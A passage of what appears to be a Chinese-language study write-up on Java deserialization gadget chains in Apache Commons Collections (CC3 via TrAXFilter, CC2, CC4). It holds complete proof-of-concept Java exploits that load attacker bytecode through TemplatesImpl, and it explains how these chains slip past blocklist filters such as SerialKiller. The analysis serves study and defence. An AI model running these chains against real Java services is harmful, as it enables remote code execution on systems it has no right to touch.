        HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
        hashMap.put("value","123");
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer);

        Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor clazzDeclaredConstructor= clazz1.getDeclaredConstructor(Class.class, Map.class);
        clazzDeclaredConstructor.setAccessible(true);
        Object obj = clazzDeclaredConstructor.newInstance(Target.class,lazyMap);

        Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, (InvocationHandler) obj);
        Object o = clazzDeclaredConstructor.newInstance(Override.class,mapProxy);

        //serialize(o);
        unerialize("CC6.ser");
    }

执行结果:

CC3-方式2(ysoserial)

ysoserial的代码,会发现CommonsCollections3和上述代码并不同,没有使⽤到InvokerTransformer。原因是因为:2015年初,@frohoff和@gebl发布了Talk《Marshalling Pickles: how deserializing objects will ruin your day》,以及Java反序列化利⽤⼯具ysoserial,随后引爆了安全界。开发者们⾃然会去找寻⼀种安 全的过滤⽅法,于是类似SerialKiller这样的⼯具随之诞⽣。 SerialKiller是⼀个Java反序列化过滤器,可以通过⿊名单与⽩名单的⽅式来限制反序列化时允许通过的类。在SerialKiller中就有过滤InvokerTransformer。针对此情况ysoserial的CC3变换InvokerTransformerInstantiateTransformer同时使用了TrAXFilter

整理一下这后半段的思路:

public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
                                      _indentNumber, _tfactory);

    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }

    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
    return transformer;
}

现在我们需寻找哪个类的方法调用了newTransformer()Find Usages一下发现在TrAXFilter类的构造方法直接可以调用TemplatesImplnewTransformer()

public class TrAXFilter extends XMLFilterImpl {
    private Templates              _templates;
    private TransformerImpl        _transformer;
    private TransformerHandlerImpl _transformerHandler;
    private boolean _useServicesMechanism = true;

    public TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _useServicesMechanism = _transformer.useServicesMechnism();
    }

但是我们可以注意到TrAXFilter这个类是不能进行序列化的,但是它的类是可以序列化的,同时我们可以在commons-collections中找到这样一个类:InstantiateTransformer,它的transform方法可以实例化一个类

public Object transform(Object input) {
    try {
        if (input instanceof Class == false) {
            throw new FunctorException(
                "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                + (input == null ? "null object" : input.getClass().getName()));
        }
        Constructor con = ((Class) input).getConstructor(iParamTypes);
        return con.newInstance(iArgs);

    } catch (NoSuchMethodException ex) {
        throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
    } catch (InstantiationException ex) {
        throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
    } catch (IllegalAccessException ex) {
        throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
    } catch (InvocationTargetException ex) {
        throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
    }
}

所以我们整体的思路就出来了

ysoserial整体思路:

--ObjectInputStream.readObject()
  --AnnotationInvocationHandler.readObject()
    --Map(Proxy).entrySet()
	  --AnnotationInvocationHandler.invoke()
		--LazyMap.get()
		  --ChainedTransformer.transform()
			--ConstantTransformer.transform()
			--InstantiateTransformer.transform()
    		  --TrAXFilter(Templates templates)
                  --TemplatesImpl.newTransformer()
                    --TemplatesImpl.getTransletInstance()
                      --TemplatesImpl.defineTransletClasses()
                        --TemplateClassLoader.defineClass()
                    --TemplatesImpl.getTransletInstance()

完整的POC:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC32 {
    public static void main(String[] args) throws Exception{
        byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code});
        setFieldValue(templatesImpl, "_name", "name");
        setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl());
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                InstantiateTransformer.getInstance(new Class[]{Templates.class}, new TemplatesImpl[]{templatesImpl}),
            
        };
        ChainedTransformer chainedtransformer = new ChainedTransformer(transformers);

        HashMap<Object,Object> hashMap = new HashMap<Object,Object>();
        hashMap.put("value","123");
        LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer);

        Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor clazzDeclaredConstructor= clazz1.getDeclaredConstructor(Class.class, Map.class);
        clazzDeclaredConstructor.setAccessible(true);
        Object obj = clazzDeclaredConstructor.newInstance(Target.class,lazyMap);

        Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, (InvocationHandler) obj);
        Object o = clazzDeclaredConstructor.newInstance(Override.class,mapProxy);

        //serialize(o);
        unerialize("CC32.ser");
    }

运行结果:

Commons-Collections的变动

背景:

在 2015 年底 commons-collections 反序列化利用链被提出时,Apache Commons Collections 有以下两个分支版本:

  • commons-collections:commons-collections
  • org.apache.commons:commons-collections4

可⻅,groupId 和 artifactId 都变了。前者是 Commons Collections 老的版本包,当时版本号是3.2.1,后者是官方在 2013 年推出的 4 版本,当时版本号是 4.0。

官方认为旧的 commons-collections 有一些架构和 API 设计上的问题,但修复这些问题,会产生大量不能向前兼容的改动。所以,commons-collections4 不再认为是一个用来替换 commons-collections 的新版本,而是一个新的包,两者的命名空间不冲突,因此可以共存在同一个项目中。

那么,既然 3.2.1 中存在反序列化利用链,那么 4.0 版本是否存在呢?

内部包的改动:

前后变化的比较大,俩个版本的库是能够共存的,放在pom.xml中比较一下

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-collections4</artifactId>
        <version>4.0</version>
    </dependency>
</dependencies>

用之前的 CommonsCollections6 利用链做个例子,然后将所有 import org.apache.commons.collections.* 改成 import org.apache.commons.collections4.*

PriorityQueue利用链

ysoserial 还为 commons-collections4 准备了两条新的利用链,那就是 CommonsCollections2CommonsCollections4

commons-collections 这个包之所有能攒出那么多利用链来,除了因为其使用量大,技术上的原因是其中包含了一些可以执行任意方法的 Transformer。所以,在 commons-collections 中找 Gadget 的过程,实际上可以简化为,找一条从 Serializable#readObject() 方法到 Transformer#transform() 方法的调用链。transform后面的部分就是我们熟悉的命令执行或代码执行。

CC2

利用链分析:

在 CC2 中,用到的两个关键类是:

  • java.util.PriorityQueue
  • org.apache.commons.collections4.comparators.TransformingComparator

PriorityQueue

优先队列(Priority Queue):java中基于二叉推实现。正常进队,按照优先级出的队列,优先级由comparator来决定。

java.util.PriorityQueue 类重写了 readObject()方法:

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();

    // Read in (and discard) array length
    s.readInt();

    queue = new Object[size];

    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();

    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

org.apache.commons.collections4.comparators.TransformingComparator 中的compare调用 transform() 方法的函数:

public int compare(final I obj1, final I obj2) {
    final O value1 = this.transformer.transform(obj1);
    final O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

接下来看下这个 Gadget 的串联方式: PriorityQueue#readObject() 中调用了 heapify() 方法, heapify() 中调用了 siftDown()siftDown() 中调用 siftDownUsingComparator()siftDownUsingComparator() 中调用的 comparator.compare() ,于是就连接到上面的 TransformingComparator 了:

private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

总结下来就是:

当优先队列(Priority Queue)反序列化的时候调用heapify()方法恢复二叉推的结构,将数组里面的元素按优先级排列。排列的时候会涉及到优先级的比较,这个时候就会调用对应的compare()方法

  • java.util.PriorityQueue 是一个优先队列(Queue),基于二叉堆实现,队列中每一个元素有自己的优先级,节点之间按照优先级大小排序成一棵树。
  • 反序列化时调用 heapify() 方法,是为了反序列化后,需要恢复这个结构的顺序。
  • 排序是靠将大的元素下移实现的。siftDown() 是将节点下移的函数, 而 comparator.compare() 用来比较两个元素大小。
  • TransformingComparator 实现了 java.util.Comparator 接口,这个接口用于定义两个对象如何进行比较。 siftDownUsingComparator() 中就使用这个接口的 compare() 方法比较树的节点。

CC2这一条利用的是:InvokerTransformer无数组的代码执行。

整体思路:

--PriorityQueue.readObject()
 --PriorityQueue.heapify()
  --PriorityQueue.siftDown()
   --PriorityQueue.siftDownUsingComparator()
    --TransformingComparator.compare()
      --InvokerTransformer.transform()
        --TemplatesImpl.newTransformer()
          --TemplatesImpl.getTransletInstance()
          --TemplatesImpl.defineTransletClasses()
          --TemplateClassLoader.defineClass()
        --TemplatesImpl.getTransletInstance()

完整POC:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC2 {
    public static void main(String[] args) throws Exception {
        byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));
        TemplatesImpl templatesImpl = new TemplatesImpl();
        HelloTemplateImpl.setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code});
        HelloTemplateImpl.setFieldValue(templatesImpl, "_name", "name");
        HelloTemplateImpl.setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl());
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        priorityQueue.add(templatesImpl);
        priorityQueue.add(1);

        Class clazz = TransformingComparator.class;
        Field transformer = clazz.getDeclaredField("transformer");
        transformer.setAccessible(true);
        transformer.set(transformingComparator,invokerTransformer);

        //serialize(priorityQueue);
        unserialize("CC2.ser");
    }
    public static void serialize(Object obj) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("CC2.ser"));
        objectOutputStream.writeObject(obj);
        System.out.println("Successful Serialize");
    }
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        objectInputStream.readObject();
        System.out.println("Successful Unserialize");
    }
}

CC4

版本限制:

jdk版本:jdk7,8没有限制

commons-collections:

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

背景:

在CC2的利用背景下,改进 PriorityQueue 利用链:因为 CommonsCollections4 除 4.0 的其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化。所以便有了 CC4,CC4 只是将 CC2 中的 InvokerTransformer 替换为了 InstantiateTransformer。

利用链分析:

首先需要明白:如果要getshell:1.命令执行,2.代码执行。CC4的链虽说是引入了新的commons-collections包,但是整体的思路还是没有发生变化,后半部分可以使用命令执行(Runtime类)或者代码执行(Templatelmpl调用链)。在ysoserial中使用的是无InvokerTransformer的代码执行。我按照ysoserial的利用链模式来分析。

byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));
TemplatesImpl templatesImpl = new TemplatesImpl();
HelloTemplateImpl.setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code});
HelloTemplateImpl.setFieldValue(templatesImpl, "_name", "name");
HelloTemplateImpl.setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(templatesImpl),
    new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

所以直接对transform方法开始FindUsagesTransformingComparatorcompare()方法可以调用chainedTransformertransform()

public int compare(final I obj1, final I obj2) {
    final O value1 = this.transformer.transform(obj1);
    final O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

compare方法进行FindUsages可以找到PriorityQueue类的readObject()方法里调用heapify()heapify()方法里调用了siftDown()siftDown()方法里调用了siftDownUsingComparator(k, x),其又可以调用TransformingComparator类的compare方法

private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

所以整条利用链就可以这样写:

import com.sun.net.httpserver.Authenticator;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[] args) throws Exception {
        byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));
        TemplatesImpl templatesImpl = new TemplatesImpl();
        HelloTemplateImpl.setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code});
        HelloTemplateImpl.setFieldValue(templatesImpl, "_name", "name");
        HelloTemplateImpl.setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl());
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templatesImpl),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        serialize(priorityQueue);
        unserialize("CC4.ser");
    }

结果就是序列化和反序列化都没有弹出计算器。我们debug一下找错误,既然反序列化是从readObject()开始,我们就从PriorityQueuereadObjct()开始打断点,问题出现在了:

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

我们需要进行priorityQueue.add(1)俩次才可以解决问题,(因为这里涉及到数据结构,但我没有学过,所以这里做个标记)。所以整理后的利用链如下:

public class CC4 {
    public static void main(String[] args) throws Exception {
        byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));
        TemplatesImpl templatesImpl = new TemplatesImpl();
        HelloTemplateImpl.setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code});
        HelloTemplateImpl.setFieldValue(templatesImpl, "_name", "name");
        HelloTemplateImpl.setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl());
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templatesImpl),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        priorityQueue.add(1);
        priorityQueue.add(2);

        //serialize(priorityQueue);
        unserialize("CC4.ser");
    }

结果我们发现序列化和反序列化都可以弹出计算器,跟进priorityQueue.add()发现其最终会调用transform()方法,和前面的CC6一样,我们首先需要将其断开,再add()以后利用反射重新将其连接即可。

利用链思路:


完整POC:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4 {
    public static void main(String[] args) throws Exception {
        byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class"));
        TemplatesImpl templatesImpl = new TemplatesImpl();
        HelloTemplateImpl.setFieldValue(templatesImpl, "_bytecodes",new byte[][]{code});
        HelloTemplateImpl.setFieldValue(templatesImpl, "_name", "name");
        HelloTemplateImpl.setFieldValue(templatesImpl, "_tfactory",new TransformerFactoryImpl());
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(new ConstantTransformer(1));
        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        priorityQueue.add(1);
        priorityQueue.add(2);

        Class clazz = ChainedTransformer.class;
        Field iTransformers = clazz.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(chainedTransformer,transformers);

        //serialize(priorityQueue);
        unserialize("CC4.ser");
    }

运行结果:

参考链接

Ysoserial 利用链分析

Java 反序列化漏洞系列-2

ysoserial源代码